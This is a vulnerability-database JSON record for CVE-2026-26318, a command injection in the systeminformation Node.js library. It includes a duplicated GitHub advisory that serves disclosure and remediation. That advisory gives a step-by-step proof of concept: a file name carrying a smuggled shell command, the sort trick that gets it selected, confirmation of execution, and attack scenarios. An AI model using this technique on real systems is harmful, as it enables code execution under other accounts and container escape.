{"id":"CVE-2026-26318","aliases":["CLSA-2026-1788560453","DEBIAN-CVE-2026-26318","EUVD-2026-8239","GHSA-5vv4-hvf7-2h46","ROOT-APP-NPM-CVE-2026-26318","UBUNTU-CVE-2026-26318"],"status":"published","title":"systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`","description":"systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01278,"percentile":0.70192,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-02-18T22:36:50Z","modified":"2026-10-28T02:31:11Z","fixes":[{"ecosystem":"npm","package":"systeminformation","fixed_in":["5.31.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"jupyterlab","fixed_in":["4.0.11+ds5+~cs11.25.27-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"systeminformation","fixed_in":["5.23.8-aikido.5","5.23.8-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/systeminformation","fixed_in":["5.23.8-root.io.5","5.23.8-root.io.2","5.23.8-root.io.3","5.23.8-root.io.4","5.23.8-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.31.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.23.8-tuxcare.0"},{"fixed":"5.23.8-tuxcare.1"}]}],"versions":["5.23.8"],"bundled":4},{"source":"osv","ecosystem":"Debian:13","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0.11+ds1+~cs11.25.27-7","4.0.11+ds1+~cs11.25.27-8","4.0.11+ds1+~cs11.25.27-9","4.0.11+ds2+~cs11.25.27-1","4.0.11+ds2+~cs11.25.27-3","4.0.11+ds3+~cs11.25.27-1","4.0.11+ds4+~cs11.25.27-1","4.0.11+ds4+~cs11.25.27-2","4.0.11+ds4+~cs11.25.27-3","4.0.11+ds4+~cs11.25.27-4","4.0.11+ds5+~cs11.25.27-1","4.0.13+ds1+~2.0.1+~cs1.4.4-1","4.1.3+ds1+~2.0.1+~0.15.3+~cs1.4.4-1","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-1","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-2","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-3","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-4","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-5","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-6","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-7","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-8","4.4.1+ds1+~3.0.5+~0.16.6+~cs1.4.4-1","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-1","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-2","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-3","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-4","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-5","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-6","4.4.8+ds1+~3.1.0+~0.16.6+~cs1.4.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.11+ds5+~cs11.25.27-1"}]}],"versions":["4.0.11+ds1+~cs11.25.27-7","4.0.11+ds1+~cs11.25.27-8","4.0.11+ds1+~cs11.25.27-9","4.0.11+ds2+~cs11.25.27-1","4.0.11+ds2+~cs11.25.27-3","4.0.11+ds3+~cs11.25.27-1","4.0.11+ds4+~cs11.25.27-1","4.0.11+ds4+~cs11.25.27-2","4.0.11+ds4+~cs11.25.27-3","4.0.11+ds4+~cs11.25.27-4"]},{"source":"osv","ecosystem":"npm","package":"systeminformation","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.31.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.8-aikido.5"},{"fixed":"5.23.8-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.8-root.io.5"},{"fixed":"5.23.8-root.io.2"},{"fixed":"5.23.8-root.io.3"},{"fixed":"5.23.8-root.io.4"},{"fixed":"5.23.8-root.io.6"}]}]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0.11+ds1+~cs11.25.27-5","4.0.11+ds1+~cs11.25.27-6","4.0.11+ds1+~cs11.25.27-7"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0.11+ds1+~cs11.25.27-9","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-3","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.31.6-4","5.31.7-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0.11+ds1+~cs11.25.27-7","4.0.11+ds1+~cs11.25.27-8","4.0.11+ds1+~cs11.25.27-9"]}],"products":[{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"sebhildebrandt","product":"systeminformation"},{"vendor":"systeminformation","product":"systeminformation"}],"references":[{"url":"https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-26318","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2441124","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26318.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26318","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5vv4-hvf7-2h46"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26318.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-26318","tags":["advisory"]},{"url":"https://github.com/sebhildebrandt/systeminformation","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-26318","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-26318","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-26318","title":"systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`","description":"systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.","status":"published","published":"2026-02-19T19:48:55.816Z","modified":"2026-07-15T01:15:02.23Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-78","CWE-78"],"updated_at":"2026-11-02T13:38:20.971157Z"}],"euvd":[{"id":"EUVD-2026-8239","description":"systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.","status":"published","published":"2026-02-19T19:48:55Z","modified":"2026-07-15T01:15:02Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:55.842782Z"}],"ghsa":[{"id":"GHSA-5vv4-hvf7-2h46","title":"Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation","description":"# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation\n\n**Package:** systeminformation (npm)  \n**Tested Version:** 5.30.7  \n**Affected Platform:** Linux  \n**Author:** Sebastian Hildebrandt  \n**Weekly Downloads:** ~5,000,000+  \n**Repository:** https://github.com/sebhildebrandt/systeminformation  \n**Severity:** Medium  \n**CWE:** CWE-78 (OS Command Injection)  \n\n---\n\n### The Vulnerable Code Path\n\nInside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:\n\n```javascript\n// lib/osinfo.js — lines 770-776\n\nexec('locate bin/postgres', (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split('\\n').sort();\n    if (postgresqlBin.length) {\n      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) =\u003e {\n        // parses version string...\n      });\n    }\n  }\n});\n```\n\nHere's what happens step by step:\n\n1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries\n2. It splits the output by newline and sorts the results alphabetically\n3. It takes the **last element** (highest alphabetically)\n4. It concatenates that path directly into a new `exec()` call with `+ ' -V'`\n\n**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**\n\nThe `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`.\n\n---\n\n## Exploitation\n\n### Prerequisites\n\nFor this vulnerability to be exploitable, the following conditions must be met:\n\n1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block\n2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL\n3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)\n4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb`\n5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros\n\n### Step 1 — Verify the Environment\n\nOn the target machine, confirm locate is available and running:\n\n```\nwhich locate\n# /usr/bin/locate\n\nsystemctl list-timers | grep plocate\n# plocate-updatedb.timer    plocate-updatedb.service\n# (runs daily, typically around 1-2 AM)\n```\n\nCheck who owns the locate database:\n\n```\nls -la /var/lib/plocate/plocate.db\n# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db\n```\n\nDatabase is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.\n\n### Step 2 — Craft the Malicious File Path\n\nThe key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.\n\nCreate a file whose path contains an injected command:\n\n```\nmkdir -p \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin\"\ntouch \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\"\n```\n\nVerify it exists:\n\n```\nfind /var/tmp -name postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\nThis file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:\n\n```\nsudo updatedb\n```\n\nThen verify locate picks it up:\n\n```\nlocate bin/postgres\n# /usr/lib/postgresql/14/bin/postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 3 — Understand the Sort Trick\n\nThe vulnerable code sorts the locate results alphabetically and takes the **last** element:\n\n```javascript\nconst postgresqlBin = stdout.toString().split('\\n').sort();\nexec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);\n```\n\nAlphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:\n\n```\nNode.js sort order:\n  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate\n  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)\n```\n\nQuick verification:\n\n```\nnode -e \"\nconst paths = [\n  '/usr/lib/postgresql/14/bin/postgres',\n  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'\n];\nconsole.log('Sorted:', paths.sort());\nconsole.log('Selected (last):', paths[paths.length - 1]);\n\"\n```\n\nOutput:\n\n```\nSorted: [\n  '/usr/lib/postgresql/14/bin/postgres',\n  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'\n]\nSelected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 4 — Trigger the Vulnerability\n\nNow when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:\n\n```javascript\nconst si = require('systeminformation');\n\n// This is a normal, innocent API call\nsi.versions('postgresql').then(data =\u003e {\n  console.log(data);\n});\n```\n\nInternally, the library builds and executes this command:\n\n```\n/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V\n```\n\nThe shell (`/bin/sh -c`) interprets this as three separate commands:\n\n```\n/var/tmp/x                         →  fails silently (not executable)\ntouch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES\n/bin/postgres -V                   →  runs normally, returns version\n```\n\n### Step 5 — Verify Code Execution\n\n```\nls -la /tmp/SI_RCE_PROOF\n# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF\n```\n\nThe file exists. Arbitrary command execution confirmed.\n\nThe injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that's typically the application service account.\n\n---\n\n## Real-World Attack Scenarios\n\n### Scenario 1 — Shared Hosting / Multi-Tenant Server\n\nA low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account.\n\n### Scenario 2 — CI/CD Pipeline Poisoning\n\nA malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.\n\n### Scenario 3 — Container / Kubernetes Escape\n\nIn containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.\n\n---\n\n## Suggested Fix\n\nReplace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:\n\n```javascript\nconst { execFile } = require('child_process');\n\nexec('locate bin/postgres', (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split('\\n')\n      .filter(p =\u003e p.trim().length \u003e 0)\n      .sort();\n    if (postgresqlBin.length) {\n      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) =\u003e {\n        // ... parse version\n      });\n    }\n  }\n});\n```\n\nAdditionally, the locate output should be validated against a safe path pattern before use:\n\n```javascript\nconst safePath = /^[a-zA-Z0-9/_.-]+$/;\nconst postgresqlBin = stdout.toString().split('\\n')\n  .filter(p =\u003e safePath.test(p.trim()))\n  .sort();\n```\n\n---\n\n## Disclosure\n\n- **Reported via:** GitHub Private Security Advisory\n- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new\n- **Security Contact:** security@systeminformation.io","status":"published","published":"2026-02-18T22:36:50Z","modified":"2026-09-24T14:41:16Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:41:21.616682Z"}],"nvd":[{"id":"CVE-2026-26318","description":"systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.","status":"published","published":"2026-02-19T20:25:44.063Z","modified":"2026-07-15T02:19:01.553Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:06.274729Z"}],"osv":[{"id":"CVE-2026-26318","title":"systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`","description":"systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.","status":"published","published":"2026-02-19T19:48:55.816Z","modified":"2026-10-28T02:31:11.025008095Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"DEBIAN-CVE-2026-26318","description":"systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.","status":"published","published":"2026-02-19T20:25:44.063Z","modified":"2026-10-01T03:03:08.843743615Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-5vv4-hvf7-2h46","title":"Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation","description":"# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation\n\n**Package:** systeminformation (npm)  \n**Tested Version:** 5.30.7  \n**Affected Platform:** Linux  \n**Author:** Sebastian Hildebrandt  \n**Weekly Downloads:** ~5,000,000+  \n**Repository:** https://github.com/sebhildebrandt/systeminformation  \n**Severity:** Medium  \n**CWE:** CWE-78 (OS Command Injection)  \n\n---\n\n### The Vulnerable Code Path\n\nInside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:\n\n```javascript\n// lib/osinfo.js — lines 770-776\n\nexec('locate bin/postgres', (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split('\\n').sort();\n    if (postgresqlBin.length) {\n      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) =\u003e {\n        // parses version string...\n      });\n    }\n  }\n});\n```\n\nHere's what happens step by step:\n\n1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries\n2. It splits the output by newline and sorts the results alphabetically\n3. It takes the **last element** (highest alphabetically)\n4. It concatenates that path directly into a new `exec()` call with `+ ' -V'`\n\n**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**\n\nThe `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`.\n\n---\n\n## Exploitation\n\n### Prerequisites\n\nFor this vulnerability to be exploitable, the following conditions must be met:\n\n1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block\n2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL\n3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)\n4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb`\n5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros\n\n### Step 1 — Verify the Environment\n\nOn the target machine, confirm locate is available and running:\n\n```\nwhich locate\n# /usr/bin/locate\n\nsystemctl list-timers | grep plocate\n# plocate-updatedb.timer    plocate-updatedb.service\n# (runs daily, typically around 1-2 AM)\n```\n\nCheck who owns the locate database:\n\n```\nls -la /var/lib/plocate/plocate.db\n# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db\n```\n\nDatabase is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.\n\n### Step 2 — Craft the Malicious File Path\n\nThe key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.\n\nCreate a file whose path contains an injected command:\n\n```\nmkdir -p \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin\"\ntouch \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\"\n```\n\nVerify it exists:\n\n```\nfind /var/tmp -name postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\nThis file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:\n\n```\nsudo updatedb\n```\n\nThen verify locate picks it up:\n\n```\nlocate bin/postgres\n# /usr/lib/postgresql/14/bin/postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 3 — Understand the Sort Trick\n\nThe vulnerable code sorts the locate results alphabetically and takes the **last** element:\n\n```javascript\nconst postgresqlBin = stdout.toString().split('\\n').sort();\nexec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);\n```\n\nAlphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:\n\n```\nNode.js sort order:\n  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate\n  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)\n```\n\nQuick verification:\n\n```\nnode -e \"\nconst paths = [\n  '/usr/lib/postgresql/14/bin/postgres',\n  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'\n];\nconsole.log('Sorted:', paths.sort());\nconsole.log('Selected (last):', paths[paths.length - 1]);\n\"\n```\n\nOutput:\n\n```\nSorted: [\n  '/usr/lib/postgresql/14/bin/postgres',\n  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'\n]\nSelected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 4 — Trigger the Vulnerability\n\nNow when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:\n\n```javascript\nconst si = require('systeminformation');\n\n// This is a normal, innocent API call\nsi.versions('postgresql').then(data =\u003e {\n  console.log(data);\n});\n```\n\nInternally, the library builds and executes this command:\n\n```\n/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V\n```\n\nThe shell (`/bin/sh -c`) interprets this as three separate commands:\n\n```\n/var/tmp/x                         →  fails silently (not executable)\ntouch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES\n/bin/postgres -V                   →  runs normally, returns version\n```\n\n### Step 5 — Verify Code Execution\n\n```\nls -la /tmp/SI_RCE_PROOF\n# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF\n```\n\nThe file exists. Arbitrary command execution confirmed.\n\nThe injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that's typically the application service account.\n\n---\n\n## Real-World Attack Scenarios\n\n### Scenario 1 — Shared Hosting / Multi-Tenant Server\n\nA low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account.\n\n### Scenario 2 — CI/CD Pipeline Poisoning\n\nA malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.\n\n### Scenario 3 — Container / Kubernetes Escape\n\nIn containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.\n\n---\n\n## Suggested Fix\n\nReplace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:\n\n```javascript\nconst { execFile } = require('child_process');\n\nexec('locate bin/postgres', (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split('\\n')\n      .filter(p =\u003e p.trim().length \u003e 0)\n      .sort();\n    if (postgresqlBin.length) {\n      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) =\u003e {\n        // ... parse version\n      });\n    }\n  }\n});\n```\n\nAdditionally, the locate output should be validated against a safe path pattern before use:\n\n```javascript\nconst safePath = /^[a-zA-Z0-9/_.-]+$/;\nconst postgresqlBin = stdout.toString().split('\\n')\n  .filter(p =\u003e safePath.test(p.trim()))\n  .sort();\n```\n\n---\n\n## Disclosure\n\n- **Reported via:** GitHub Private Security Advisory\n- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new\n- **Security Contact:** security@systeminformation.io","status":"published","published":"2026-02-18T22:36:50Z","modified":"2026-09-24T14:45:10.219526045Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"ROOT-APP-NPM-CVE-2026-26318","title":"CVE-2026-26318 in systeminformation - Patched by Root","description":"Root has patched CVE-2026-26318 in the systeminformation package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-05T10:01:42Z","modified":"2026-10-05T11:15:03.102870265Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"UBUNTU-CVE-2026-26318","description":"systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.","status":"published","published":"2026-02-19T20:25:00Z","modified":"2026-10-17T12:56:18.073634614Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:08.726452Z"},{"id":"CLSA-2026-1788560453","title":"TuxCare security update for systeminformation (4 CVEs)","description":"TuxCare rebuilt systeminformation to address 4 CVEs. Fixed in 5.23.8-tuxcare.1.","status":"published","published":"2026-09-04T22:20:53Z","modified":"2026-10-15T09:48:03.099632871Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}
